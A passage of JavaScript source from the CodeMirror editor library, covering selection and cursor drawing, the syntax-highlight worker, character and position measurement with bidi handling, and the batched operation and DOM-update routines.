if (pos.line < doc.first + doc.size - 1) return Pos(pos.line + 1, 0);
else return null;
} else {
return new Pos(pos.line, pos.ch + dir);
}
}
// SELECTION DRAWING
function updateSelection(cm) {
cm.display.input.showSelection(cm.display.input.prepareSelection());
}
function prepareSelection(cm, primary) {
var doc = cm.doc, result = {};
var curFragment = result.cursors = document.createDocumentFragment();
var selFragment = result.selection = document.createDocumentFragment();
for (var i = 0; i < doc.sel.ranges.length; i++) {
if (primary === false && i == doc.sel.primIndex) continue;
var range = doc.sel.ranges[i];
if (range.from().line >= cm.display.viewTo || range.to().line < cm.display.viewFrom) continue;
var collapsed = range.empty();
if (collapsed || cm.options.showCursorWhenSelecting)
drawSelectionCursor(cm, range.head, curFragment);
if (!collapsed)
drawSelectionRange(cm, range, selFragment);
}
return result;
}
// Draws a cursor for the given range
function drawSelectionCursor(cm, head, output) {
var pos = cursorCoords(cm, head, "div", null, null, !cm.options.singleCursorHeightPerLine);
var cursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor"));
cursor.style.left = pos.left + "px";
cursor.style.top = pos.top + "px";
cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + "px";
if (pos.other) {
// Secondary cursor, shown when on a 'jump' in bi-directional text
var otherCursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor CodeMirror-secondarycursor"));
otherCursor.style.display = "";
otherCursor.style.left = pos.other.left + "px";
otherCursor.style.top = pos.other.top + "px";
otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + "px";
}
}
// Draws the given range as a highlighted selection
function drawSelectionRange(cm, range, output) {
var display = cm.display, doc = cm.doc;
var fragment = document.createDocumentFragment();
var padding = paddingH(cm.display), leftSide = padding.left;
var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;
function add(left, top, width, bottom) {
if (top < 0) top = 0;
top = Math.round(top);
bottom = Math.round(bottom);
fragment.appendChild(elt("div", null, "CodeMirror-selected", "position: absolute; left: " + left +
"px; top: " + top + "px; width: " + (width == null ? rightSide - left : width) +
"px; height: " + (bottom - top) + "px"));
}
function drawForLine(line, fromArg, toArg) {
var lineObj = getLine(doc, line);
var lineLen = lineObj.text.length;
var start, end;
function coords(ch, bias) {
return charCoords(cm, Pos(line, ch), "div", lineObj, bias);
}
iterateBidiSections(getOrder(lineObj), fromArg || 0, toArg == null ? lineLen : toArg, function(from, to, dir) {
var leftPos = coords(from, "left"), rightPos, left, right;
if (from == to) {
rightPos = leftPos;
left = right = leftPos.left;
} else {
rightPos = coords(to - 1, "right");
if (dir == "rtl") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }
left = leftPos.left;
right = rightPos.right;
}
if (fromArg == null && from == 0) left = leftSide;
if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part
add(left, leftPos.top, null, leftPos.bottom);
left = leftSide;
if (leftPos.bottom < rightPos.top) add(left, leftPos.bottom, null, rightPos.top);
}
if (toArg == null && to == lineLen) right = rightSide;
if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)
start = leftPos;
if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)
end = rightPos;
if (left < leftSide + 1) left = leftSide;
add(left, rightPos.top, right - left, rightPos.bottom);
});
return {start: start, end: end};
}
var sFrom = range.from(), sTo = range.to();
if (sFrom.line == sTo.line) {
drawForLine(sFrom.line, sFrom.ch, sTo.ch);
} else {
var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);
var singleVLine = visualLine(fromLine) == visualLine(toLine);
var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;
var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;
if (singleVLine) {
if (leftEnd.top < rightStart.top - 2) {
add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);
add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);
} else {
add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);
}
}
if (leftEnd.bottom < rightStart.top)
add(leftSide, leftEnd.bottom, null, rightStart.top);
}
output.appendChild(fragment);
}
// Cursor-blinking
function restartBlink(cm) {
if (!cm.state.focused) return;
var display = cm.display;
clearInterval(display.blinker);
var on = true;
display.cursorDiv.style.visibility = "";
if (cm.options.cursorBlinkRate > 0)
display.blinker = setInterval(function() {
display.cursorDiv.style.visibility = (on = !on) ? "" : "hidden";
}, cm.options.cursorBlinkRate);
else if (cm.options.cursorBlinkRate < 0)
display.cursorDiv.style.visibility = "hidden";
}
// HIGHLIGHT WORKER
function startWorker(cm, time) {
if (cm.doc.mode.startState && cm.doc.frontier < cm.display.viewTo)
cm.state.highlight.set(time, bind(highlightWorker, cm));
}
function highlightWorker(cm) {
var doc = cm.doc;
if (doc.frontier < doc.first) doc.frontier = doc.first;
if (doc.frontier >= cm.display.viewTo) return;
var end = +new Date + cm.options.workTime;
var state = copyState(doc.mode, getStateBefore(cm, doc.frontier));
var changedLines = [];
doc.iter(doc.frontier, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function(line) {
if (doc.frontier >= cm.display.viewFrom) { // Visible
var oldStyles = line.styles, tooLong = line.text.length > cm.options.maxHighlightLength;
var highlighted = highlightLine(cm, line, tooLong ? copyState(doc.mode, state) : state, true);
line.styles = highlighted.styles;
var oldCls = line.styleClasses, newCls = highlighted.classes;
if (newCls) line.styleClasses = newCls;
else if (oldCls) line.styleClasses = null;
var ischange = !oldStyles || oldStyles.length != line.styles.length ||
oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass);
for (var i = 0; !ischange && i < oldStyles.length; ++i) ischange = oldStyles[i] != line.styles[i];
if (ischange) changedLines.push(doc.frontier);
line.stateAfter = tooLong ? state : copyState(doc.mode, state);
} else {
if (line.text.length <= cm.options.maxHighlightLength)
processLine(cm, line.text, state);
line.stateAfter = doc.frontier % 5 == 0 ? copyState(doc.mode, state) : null;
}
++doc.frontier;
if (+new Date > end) {
startWorker(cm, cm.options.workDelay);
return true;
}
});
if (changedLines.length) runInOp(cm, function() {
for (var i = 0; i < changedLines.length; i++)
regLineChange(cm, changedLines[i], "text");
});
}
// Finds the line to start with when starting a parse. Tries to
// find a line with a stateAfter, so that it can start with a
// valid state. If that fails, it returns the line with the
// smallest indentation, which tends to need the least context to
// parse correctly.
function findStartLine(cm, n, precise) {
var minindent, minline, doc = cm.doc;
var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);
for (var search = n; search > lim; --search) {
if (search <= doc.first) return doc.first;
var line = getLine(doc, search - 1);
if (line.stateAfter && (!precise || search <= doc.frontier)) return search;
var indented = countColumn(line.text, null, cm.options.tabSize);
if (minline == null || minindent > indented) {
minline = search - 1;
minindent = indented;
}
}
return minline;
}
function getStateBefore(cm, n, precise) {
var doc = cm.doc, display = cm.display;
if (!doc.mode.startState) return true;
var pos = findStartLine(cm, n, precise), state = pos > doc.first && getLine(doc, pos-1).stateAfter;
if (!state) state = startState(doc.mode);
else state = copyState(doc.mode, state);
doc.iter(pos, n, function(line) {
processLine(cm, line.text, state);
var save = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo;
line.stateAfter = save ? copyState(doc.mode, state) : null;
++pos;
});
if (precise) doc.frontier = pos;
return state;
}
// POSITION MEASUREMENT
function paddingTop(display) {return display.lineSpace.offsetTop;}
function paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight;}
function paddingH(display) {
if (display.cachedPaddingH) return display.cachedPaddingH;
var e = removeChildrenAndAdd(display.measure, elt("pre", "x"));
var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle;
var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)};
if (!isNaN(data.left) && !isNaN(data.right)) display.cachedPaddingH = data;
return data;
}
function scrollGap(cm) { return scrollerGap - cm.display.nativeBarWidth; }
function displayWidth(cm) {
return cm.display.scroller.clientWidth - scrollGap(cm) - cm.display.barWidth;
}
function displayHeight(cm) {
return cm.display.scroller.clientHeight - scrollGap(cm) - cm.display.barHeight;
}
// Ensure the lineView.wrapping.heights array is populated. This is
// an array of bottom offsets for the lines that make up a drawn
// line. When lineWrapping is on, there might be more than one
// height.
function ensureLineHeights(cm, lineView, rect) {
var wrapping = cm.options.lineWrapping;
var curWidth = wrapping && displayWidth(cm);
if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) {
var heights = lineView.measure.heights = [];
if (wrapping) {
lineView.measure.width = curWidth;
var rects = lineView.text.firstChild.getClientRects();
for (var i = 0; i < rects.length - 1; i++) {
var cur = rects[i], next = rects[i + 1];
if (Math.abs(cur.bottom - next.bottom) > 2)
heights.push((cur.bottom + next.top) / 2 - rect.top);
}
}
heights.push(rect.bottom - rect.top);
}
}
// Find a line map (mapping character offsets to text nodes) and a
// measurement cache for the given line number. (A line view might
// contain multiple lines when collapsed ranges are present.)
function mapFromLineView(lineView, line, lineN) {
if (lineView.line == line)
return {map: lineView.measure.map, cache: lineView.measure.cache};
for (var i = 0; i < lineView.rest.length; i++)
if (lineView.rest[i] == line)
return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]};
for (var i = 0; i < lineView.rest.length; i++)
if (lineNo(lineView.rest[i]) > lineN)
return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i], before: true};
}
// Render a line into the hidden node display.externalMeasured. Used
// when measurement is needed for a line that's not in the viewport.
function updateExternalMeasurement(cm, line) {
line = visualLine(line);
var lineN = lineNo(line);
var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN);
view.lineN = lineN;
var built = view.built = buildLineContent(cm, view);
view.text = built.pre;
removeChildrenAndAdd(cm.display.lineMeasure, built.pre);
return view;
}
// Get a {top, bottom, left, right} box (in line-local coordinates)
// for a given character.
function measureChar(cm, line, ch, bias) {
return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias);
}
// Find a line view that corresponds to the given line number.
function findViewForLine(cm, lineN) {
if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo)
return cm.display.view[findViewIndex(cm, lineN)];
var ext = cm.display.externalMeasured;
if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size)
return ext;
}
// Measurement can be split in two steps, the set-up work that
// applies to the whole line, and the measurement of the actual
// character. Functions like coordsChar, that need to do a lot of
// measurements in a row, can thus ensure that the set-up work is
// only done once.
function prepareMeasureForLine(cm, line) {
var lineN = lineNo(line);
var view = findViewForLine(cm, lineN);
if (view && !view.text) {
view = null;
} else if (view && view.changes) {
updateLineForChanges(cm, view, lineN, getDimensions(cm));
cm.curOp.forceUpdate = true;
}
if (!view)
view = updateExternalMeasurement(cm, line);
var info = mapFromLineView(view, line, lineN);
return {
line: line, view: view, rect: null,
map: info.map, cache: info.cache, before: info.before,
hasHeights: false
};
}
// Given a prepared measurement object, measures the position of an
// actual character (or fetches it from the cache).
function measureCharPrepared(cm, prepared, ch, bias, varHeight) {
if (prepared.before) ch = -1;
var key = ch + (bias || ""), found;
if (prepared.cache.hasOwnProperty(key)) {
found = prepared.cache[key];
} else {
if (!prepared.rect)
prepared.rect = prepared.view.text.getBoundingClientRect();
if (!prepared.hasHeights) {
ensureLineHeights(cm, prepared.view, prepared.rect);
prepared.hasHeights = true;
}
found = measureCharInner(cm, prepared, ch, bias);
if (!found.bogus) prepared.cache[key] = found;
}
return {left: found.left, right: found.right,
top: varHeight ? found.rtop : found.top,
bottom: varHeight ? found.rbottom : found.bottom};
}
var nullRect = {left: 0, right: 0, top: 0, bottom: 0};
function nodeAndOffsetInLineMap(map, ch, bias) {
var node, start, end, collapse;
// First, search the line map for the text node corresponding to,
// or closest to, the target character.
for (var i = 0; i < map.length; i += 3) {
var mStart = map[i], mEnd = map[i + 1];
if (ch < mStart) {
start = 0; end = 1;
collapse = "left";
} else if (ch < mEnd) {
start = ch - mStart;
end = start + 1;
} else if (i == map.length - 3 || ch == mEnd && map[i + 3] > ch) {
end = mEnd - mStart;
start = end - 1;
if (ch >= mEnd) collapse = "right";
}
if (start != null) {
node = map[i + 2];
if (mStart == mEnd && bias == (node.insertLeft ? "left" : "right"))
collapse = bias;
if (bias == "left" && start == 0)
while (i && map[i - 2] == map[i - 3] && map[i - 1].insertLeft) {
node = map[(i -= 3) + 2];
collapse = "left";
}
if (bias == "right" && start == mEnd - mStart)
while (i < map.length - 3 && map[i + 3] == map[i + 4] && !map[i + 5].insertLeft) {
node = map[(i += 3) + 2];
collapse = "right";
}
break;
}
}
return {node: node, start: start, end: end, collapse: collapse, coverStart: mStart, coverEnd: mEnd};
}
function getUsefulRect(rects, bias) {
var rect = nullRect
if (bias == "left") for (var i = 0; i < rects.length; i++) {
if ((rect = rects[i]).left != rect.right) break
} else for (var i = rects.length - 1; i >= 0; i--) {
if ((rect = rects[i]).left != rect.right) break
}
return rect
}
function measureCharInner(cm, prepared, ch, bias) {
var place = nodeAndOffsetInLineMap(prepared.map, ch, bias);
var node = place.node, start = place.start, end = place.end, collapse = place.collapse;
var rect;
if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates.
for (var i = 0; i < 4; i++) { // Retry a maximum of 4 times when nonsense rectangles are returned
while (start && isExtendingChar(prepared.line.text.charAt(place.coverStart + start))) --start;
while (place.coverStart + end < place.coverEnd && isExtendingChar(prepared.line.text.charAt(place.coverStart + end))) ++end;
if (ie && ie_version < 9 && start == 0 && end == place.coverEnd - place.coverStart)
rect = node.parentNode.getBoundingClientRect();
else
rect = getUsefulRect(range(node, start, end).getClientRects(), bias)
if (rect.left || rect.right || start == 0) break;
end = start;
start = start - 1;
collapse = "right";
}
if (ie && ie_version < 11) rect = maybeUpdateRectForZooming(cm.display.measure, rect);
} else { // If it is a widget, simply get the box for the whole widget.
if (start > 0) collapse = bias = "right";
var rects;
if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1)
rect = rects[bias == "right" ? rects.length - 1 : 0];
else
rect = node.getBoundingClientRect();
}
if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) {
var rSpan = node.parentNode.getClientRects()[0];
if (rSpan)
rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom};
else
rect = nullRect;
}
var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top;
var mid = (rtop + rbot) / 2;
var heights = prepared.view.measure.heights;
for (var i = 0; i < heights.length - 1; i++)
if (mid < heights[i]) break;
var top = i ? heights[i - 1] : 0, bot = heights[i];
var result = {left: (collapse == "right" ? rect.right : rect.left) - prepared.rect.left,
right: (collapse == "left" ? rect.left : rect.right) - prepared.rect.left,
top: top, bottom: bot};
if (!rect.left && !rect.right) result.bogus = true;
if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; }
return result;
}
// Work around problem with bounding client rects on ranges being
// returned incorrectly when zoomed on IE10 and below.
function maybeUpdateRectForZooming(measure, rect) {
if (!window.screen || screen.logicalXDPI == null ||
screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure))
return rect;
var scaleX = screen.logicalXDPI / screen.deviceXDPI;
var scaleY = screen.logicalYDPI / screen.deviceYDPI;
return {left: rect.left * scaleX, right: rect.right * scaleX,
top: rect.top * scaleY, bottom: rect.bottom * scaleY};
}
function clearLineMeasurementCacheFor(lineView) {
if (lineView.measure) {
lineView.measure.cache = {};
lineView.measure.heights = null;
if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
lineView.measure.caches[i] = {};
}
}
function clearLineMeasurementCache(cm) {
cm.display.externalMeasure = null;
removeChildren(cm.display.lineMeasure);
for (var i = 0; i < cm.display.view.length; i++)
clearLineMeasurementCacheFor(cm.display.view[i]);
}
function clearCaches(cm) {
clearLineMeasurementCache(cm);
cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null;
if (!cm.options.lineWrapping) cm.display.maxLineChanged = true;
cm.display.lineNumChars = null;
}
function pageScrollX() { return window.pageXOffset || (document.documentElement || document.body).scrollLeft; }
function pageScrollY() { return window.pageYOffset || (document.documentElement || document.body).scrollTop; }
// Converts a {top, bottom, left, right} box from line-local
// coordinates into another coordinate system. Context may be one of
// "line", "div" (display.lineDiv), "local"/null (editor), "window",
// or "page".
function intoCoordSystem(cm, lineObj, rect, context) {
if (lineObj.widgets) for (var i = 0; i < lineObj.widgets.length; ++i) if (lineObj.widgets[i].above) {
var size = widgetHeight(lineObj.widgets[i]);
rect.top += size; rect.bottom += size;
}
if (context == "line") return rect;
if (!context) context = "local";
var yOff = heightAtLine(lineObj);
if (context == "local") yOff += paddingTop(cm.display);
else yOff -= cm.display.viewOffset;
if (context == "page" || context == "window") {
var lOff = cm.display.lineSpace.getBoundingClientRect();
yOff += lOff.top + (context == "window" ? 0 : pageScrollY());
var xOff = lOff.left + (context == "window" ? 0 : pageScrollX());
rect.left += xOff; rect.right += xOff;
}
rect.top += yOff; rect.bottom += yOff;
return rect;
}
// Coverts a box from "div" coords to another coordinate system.
// Context may be "window", "page", "div", or "local"/null.
function fromCoordSystem(cm, coords, context) {
if (context == "div") return coords;
var left = coords.left, top = coords.top;
// First move into "page" coordinate system
if (context == "page") {
left -= pageScrollX();
top -= pageScrollY();
} else if (context == "local" || !context) {
var localBox = cm.display.sizer.getBoundingClientRect();
left += localBox.left;
top += localBox.top;
}
var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();
return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top};
}
function charCoords(cm, pos, context, lineObj, bias) {
if (!lineObj) lineObj = getLine(cm.doc, pos.line);
return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context);
}
// Returns a box for a given cursor position, which may have an
// 'other' property containing the position of the secondary cursor
// on a bidi boundary.
function cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) {
lineObj = lineObj || getLine(cm.doc, pos.line);
if (!preparedMeasure) preparedMeasure = prepareMeasureForLine(cm, lineObj);
function get(ch, right) {
var m = measureCharPrepared(cm, preparedMeasure, ch, right ? "right" : "left", varHeight);
if (right) m.left = m.right; else m.right = m.left;
return intoCoordSystem(cm, lineObj, m, context);
}
function getBidi(ch, partPos) {
var part = order[partPos], right = part.level % 2;
if (ch == bidiLeft(part) && partPos && part.level < order[partPos - 1].level) {
part = order[--partPos];
ch = bidiRight(part) - (part.level % 2 ? 0 : 1);
right = true;
} else if (ch == bidiRight(part) && partPos < order.length - 1 && part.level < order[partPos + 1].level) {
part = order[++partPos];
ch = bidiLeft(part) - part.level % 2;
right = false;
}
if (right && ch == part.to && ch > part.from) return get(ch - 1);
return get(ch, right);
}
var order = getOrder(lineObj), ch = pos.ch;
if (!order) return get(ch);
var partPos = getBidiPartAt(order, ch);
var val = getBidi(ch, partPos);
if (bidiOther != null) val.other = getBidi(ch, bidiOther);
return val;
}
// Used to cheaply estimate the coordinates for a position. Used for
// intermediate scroll updates.
function estimateCoords(cm, pos) {
var left = 0, pos = clipPos(cm.doc, pos);
if (!cm.options.lineWrapping) left = charWidth(cm.display) * pos.ch;
var lineObj = getLine(cm.doc, pos.line);
var top = heightAtLine(lineObj) + paddingTop(cm.display);
return {left: left, right: left, top: top, bottom: top + lineObj.height};
}
// Positions returned by coordsChar contain some extra information.
// xRel is the relative x position of the input coordinates compared
// to the found position (so xRel > 0 means the coordinates are to
// the right of the character position, for example). When outside
// is true, that means the coordinates lie outside the line's
// vertical range.
function PosWithInfo(line, ch, outside, xRel) {
var pos = Pos(line, ch);
pos.xRel = xRel;
if (outside) pos.outside = true;
return pos;
}
// Compute the character position closest to the given coordinates.
// Input must be lineSpace-local ("div" coordinate system).
function coordsChar(cm, x, y) {
var doc = cm.doc;
y += cm.display.viewOffset;
if (y < 0) return PosWithInfo(doc.first, 0, true, -1);
var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;
if (lineN > last)
return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, true, 1);
if (x < 0) x = 0;
var lineObj = getLine(doc, lineN);
for (;;) {
var found = coordsCharInner(cm, lineObj, lineN, x, y);
var merged = collapsedSpanAtEnd(lineObj);
var mergedPos = merged && merged.find(0, true);
if (merged && (found.ch > mergedPos.from.ch || found.ch == mergedPos.from.ch && found.xRel > 0))
lineN = lineNo(lineObj = mergedPos.to.line);
else
return found;
}
}
function coordsCharInner(cm, lineObj, lineNo, x, y) {
var innerOff = y - heightAtLine(lineObj);
var wrongLine = false, adjust = 2 * cm.display.wrapper.clientWidth;
var preparedMeasure = prepareMeasureForLine(cm, lineObj);
function getX(ch) {
var sp = cursorCoords(cm, Pos(lineNo, ch), "line", lineObj, preparedMeasure);
wrongLine = true;
if (innerOff > sp.bottom) return sp.left - adjust;
else if (innerOff < sp.top) return sp.left + adjust;
else wrongLine = false;
return sp.left;
}
var bidi = getOrder(lineObj), dist = lineObj.text.length;
var from = lineLeft(lineObj), to = lineRight(lineObj);
var fromX = getX(from), fromOutside = wrongLine, toX = getX(to), toOutside = wrongLine;
if (x > toX) return PosWithInfo(lineNo, to, toOutside, 1);
// Do a binary search between these bounds.
for (;;) {
if (bidi ? to == from || to == moveVisually(lineObj, from, 1) : to - from <= 1) {
var ch = x < fromX || x - fromX <= toX - x ? from : to;
var outside = ch == from ? fromOutside : toOutside
var xDiff = x - (ch == from ? fromX : toX);
// This is a kludge to handle the case where the coordinates
// are after a line-wrapped line. We should replace it with a
// more general handling of cursor positions around line
// breaks. (Issue #4078)
if (toOutside && !bidi && !/\s/.test(lineObj.text.charAt(ch)) && xDiff > 0 &&
ch < lineObj.text.length && preparedMeasure.view.measure.heights.length > 1) {
var charSize = measureCharPrepared(cm, preparedMeasure, ch, "right");
if (innerOff <= charSize.bottom && innerOff >= charSize.top && Math.abs(x - charSize.right) < xDiff) {
outside = false
ch++
xDiff = x - charSize.right
}
}
while (isExtendingChar(lineObj.text.charAt(ch))) ++ch;
var pos = PosWithInfo(lineNo, ch, outside, xDiff < -1 ? -1 : xDiff > 1 ? 1 : 0);
return pos;
}
var step = Math.ceil(dist / 2), middle = from + step;
if (bidi) {
middle = from;
for (var i = 0; i < step; ++i) middle = moveVisually(lineObj, middle, 1);
}
var middleX = getX(middle);
if (middleX > x) {to = middle; toX = middleX; if (toOutside = wrongLine) toX += 1000; dist = step;}
else {from = middle; fromX = middleX; fromOutside = wrongLine; dist -= step;}
}
}
var measureText;
// Compute the default text height.
function textHeight(display) {
if (display.cachedTextHeight != null) return display.cachedTextHeight;
if (measureText == null) {
measureText = elt("pre");
// Measure a bunch of lines, for browsers that compute
// fractional heights.
for (var i = 0; i < 49; ++i) {
measureText.appendChild(document.createTextNode("x"));
measureText.appendChild(elt("br"));
}
measureText.appendChild(document.createTextNode("x"));
}
removeChildrenAndAdd(display.measure, measureText);
var height = measureText.offsetHeight / 50;
if (height > 3) display.cachedTextHeight = height;
removeChildren(display.measure);
return height || 1;
}
// Compute the default character width.
function charWidth(display) {
if (display.cachedCharWidth != null) return display.cachedCharWidth;
var anchor = elt("span", "xxxxxxxxxx");
var pre = elt("pre", [anchor]);
removeChildrenAndAdd(display.measure, pre);
var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10;
if (width > 2) display.cachedCharWidth = width;
return width || 10;
}
// OPERATIONS
// Operations are used to wrap a series of changes to the editor
// state in such a way that each change won't have to update the
// cursor and display (which would be awkward, slow, and
// error-prone). Instead, display updates are batched and then all
// combined and executed at once.
var operationGroup = null;
var nextOpId = 0;
// Start a new operation.
function startOperation(cm) {
cm.curOp = {
cm: cm,
viewChanged: false, // Flag that indicates that lines might need to be redrawn
startHeight: cm.doc.height, // Used to detect need to update scrollbar
forceUpdate: false, // Used to force a redraw
updateInput: null, // Whether to reset the input textarea
typing: false, // Whether this reset should be careful to leave existing text (for compositing)
changeObjs: null, // Accumulated changes, for firing change events
cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on
cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already
selectionChanged: false, // Whether the selection needs to be redrawn
updateMaxLine: false, // Set when the widest line needs to be determined anew
scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet
scrollToPos: null, // Used to scroll to a specific position
focus: false,
id: ++nextOpId // Unique ID
};
if (operationGroup) {
operationGroup.ops.push(cm.curOp);
} else {
cm.curOp.ownsGroup = operationGroup = {
ops: [cm.curOp],
delayedCallbacks: []
};
}
}
function fireCallbacksForOps(group) {
// Calls delayed callbacks and cursorActivity handlers until no
// new ones appear
var callbacks = group.delayedCallbacks, i = 0;
do {
for (; i < callbacks.length; i++)
callbacks[i].call(null);
for (var j = 0; j < group.ops.length; j++) {
var op = group.ops[j];
if (op.cursorActivityHandlers)
while (op.cursorActivityCalled < op.cursorActivityHandlers.length)
op.cursorActivityHandlers[op.cursorActivityCalled++].call(null, op.cm);
}
} while (i < callbacks.length);
}
// Finish an operation, updating the display and signalling delayed events
function endOperation(cm) {
var op = cm.curOp, group = op.ownsGroup;
if (!group) return;
try { fireCallbacksForOps(group); }
finally {
operationGroup = null;
for (var i = 0; i < group.ops.length; i++)
group.ops[i].cm.curOp = null;
endOperations(group);
}
}
// The DOM updates done when an operation finishes are batched so
// that the minimum number of relayouts are required.
function endOperations(group) {
var ops = group.ops;
for (var i = 0; i < ops.length; i++) // Read DOM
endOperation_R1(ops[i]);
for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
endOperation_W1(ops[i]);
for (var i = 0; i < ops.length; i++) // Read DOM
endOperation_R2(ops[i]);
for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
endOperation_W2(ops[i]);
for (var i = 0; i < ops.length; i++) // Read DOM
endOperation_finish(ops[i]);
}
function endOperation_R1(op) {
var cm = op.cm, display = cm.display;
maybeClipScrollbars(cm);
if (op.updateMaxLine) findMaxLine(cm);
op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null ||
op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom ||
op.scrollToPos.to.line >= display.viewTo) ||
display.maxLineChanged && cm.options.lineWrapping;
op.update = op.mustUpdate &&
new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate);
}
function endOperation_W1(op) {
op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update);
}
function endOperation_R2(op) {
var cm = op.cm, display = cm.display;
if (op.updatedDisplay) updateHeightsInViewport(cm);
op.barMeasure = measureForScrollbars(cm);
// If the max line changed since it was last measured, measure it,
// and ensure the document's width matches it.
// updateDisplay_W2 will use these properties to do the actual resizing
if (display.maxLineChanged && !cm.options.lineWrapping) {
op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3;
cm.display.sizerWidth = op.adjustWidthTo;
op.barMeasure.scrollWidth =
Math.max(display.scroller.clientWidth, display.sizer.offsetLeft + op.adjustWidthTo + scrollGap(cm) + cm.display.barWidth);
op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo - displayWidth(cm));
}
if (op.updatedDisplay || op.selectionChanged)
op.preparedSelection = display.input.prepareSelection(op.focus);
}
function endOperation_W2(op) {
var cm = op.cm;
if (op.adjustWidthTo != null) {
cm.display.sizer.style.minWidth = op.adjustWidthTo + "px";
if (op.maxScrollLeft < cm.doc.scrollLeft)
setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true);
cm.display.maxLineChanged = false;
}
var takeFocus = op.focus && op.focus == activeElt() && (!document.hasFocus || document.hasFocus())
if (op.preparedSelection)
cm.display.input.showSelection(op.preparedSelection, takeFocus);
if (op.updatedDisplay || op.startHeight != cm.doc.height)
updateScrollbars(cm, op.barMeasure);
if (op.updatedDisplay)
setDocumentHeight(cm, op.barMeasure);
if (op.selectionChanged) restartBlink(cm);
if (cm.state.focused && op.updateInput)
cm.display.input.reset(op.typing);
if (takeFocus) ensureFocus(op.cm);
}
function endOperation_finish(op) {
var cm = op.cm, display = cm.display, doc = cm.doc;
if (op.updatedDisplay) postUpdateDisplay(cm, op.update);
// Abort mouse wheel delta measurement, when scrolling explicitly
if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos))
display.wheelStartX = display.wheelStartY = null;
// Propagate the scroll position to the actual DOM scroller
if (op.scrollTop != null && (display.scroller.scrollTop != op.scrollTop || op.forceScroll)) {
doc.scrollTop = Math.max(0, Math.min(display.scroller.scrollHeight - display.scroller.clientHeight, op.scrollTop));
display.scrollbars.setScrollTop(doc.scrollTop);
display.scroller.scrollTop = doc.scrollTop;
}
if (op.scrollLeft != null && (display.scroller.scrollLeft != op.scrollLeft || op.forceScroll)) {
doc.scrollLeft = Math.max(0, Math.min(display.scroller.scrollWidth - display.scroller.clientWidth, op.scrollLeft));
display.scrollbars.setScrollLeft(doc.scrollLeft);
display.scroller.scrollLeft = doc.scrollLeft;
alignHorizontally(cm);
}
// If we need to scroll a specific position into view, do so.
if (op.scrollToPos) {
var coords = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),
clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin);
if (op.scrollToPos.isCursor && cm.state.focused) maybeScrollWindow(cm, coords);
}
// Fire events for markers that are hidden/unidden by editing or
// undoing
var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;
if (hidden) for (var i = 0; i < hidden.length; ++i)
if (!hidden[i].lines.length) signal(hidden[i], "hide");
if (unhidden) for (var i = 0; i < unhidden.length; ++i)
if (unhidden[i].lines.length) signal(unhidden[i], "unhide");
